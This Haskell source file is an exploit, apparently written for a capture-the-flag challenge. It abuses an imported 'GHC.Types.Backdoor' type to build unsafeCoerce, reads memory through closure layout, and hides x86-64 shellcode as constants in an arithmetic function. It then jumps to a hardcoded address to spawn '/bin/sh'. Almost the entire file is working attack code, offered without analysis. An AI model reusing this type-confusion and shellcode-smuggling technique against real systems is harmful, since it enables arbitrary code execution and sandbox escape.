content: {-# LANGUAGE OverloadedStrings, DataKinds, KindSignatures,
    ScopedTypeVariables #-}
  {-# OPTIONS_GHC -O3 #-}
  import GHC.Types.Backdoor
  
  backdoor :: B1 1337 a -> B2 1337 b
  backdoor = id
  
  unsafeCoerce :: a -> b
  unsafeCoerce x = unB2 (backdoor $ B1 x)
  
  data Wrap a = Wrap { unwrap :: a }
  
  -- exploit the structure of the closure to read memory
  readMem :: Int -> Int
  readMem addr = unwrap (unsafeCoerce (addr - 7))
  
  -- TODO: maybe related to trunk evaluation?
  -- jmpq *(%rbx)
  jmp :: Int -> ()
  jmp addr = func (unwrap (unsafeCoerce addr)) `seq` ()
  
  -- `seq` forces strictness on the first argument
  -- ... or use BangPatterns for strictness
  getAddr :: a -> Int
  getAddr x = (y `seq` unsafeCoerce y) - 1
    where y = Wrap x
  
  func :: [Int] -> Int
  func [] = 0
  func [x] = x
  func (x:xs) = func xs
  
  -- hardcoded shellcode function
  -- use -O3 to make shellcode compact
  hard :: Int -> Int
  hard 0 = 1
  hard n =
    0x909090909090050f * hard (n - 16) +
    0xdeb90909090d231 * hard (n - 15) +
    0xdeb909090909058 * hard (n - 14) +
    0xdeb909090903b6a * hard (n - 13) +
    0xdeb909090df8948 * hard (n - 12) +
    0xdeb909090e68948 * hard (n - 11) +
    0xdeb909090909053 * hard (n - 10) +
    0xdeb90004a3e95bb * hard (n - 9) +
    0xdeb909090905441 * hard (n - 8) +
    0xdeb909090909053 * hard (n - 7) +
    0xdeb909090909050 * hard (n - 6) +
    0xdeb90909090c031 * hard (n - 5) +
    0xdeb90004a3e9fbb * hard (n - 4) +
    0xdeb909090e48949 * hard (n - 3) +
    0x6eb900000632d68 * hard (n - 2) 
  
  
  -- make it a closure so we can jmp to the shellcode
  shellcodeAddr :: Int
  shellcodeAddr = 4220274
  
  caddr :: Int
  caddr = getAddr shellcodeAddr
  
  cmdBuf :: String
  cmdBuf = "/bin/sh"
  
  strBuf :: String
  strBuf = "/bin/bash"
  
  main :: IO ()
  main = do
    let x = caddr + 8       -- the address of the integer (which INTLIKE closure encloses)
    print (jmp x)
    y <- getLine
    print cmdBuf            -- ensure these two commands don't get optimized out
    print strBuf
    print $ hard $ read y   -- ensure 'hard' doesn't get optimized out
    return ()
  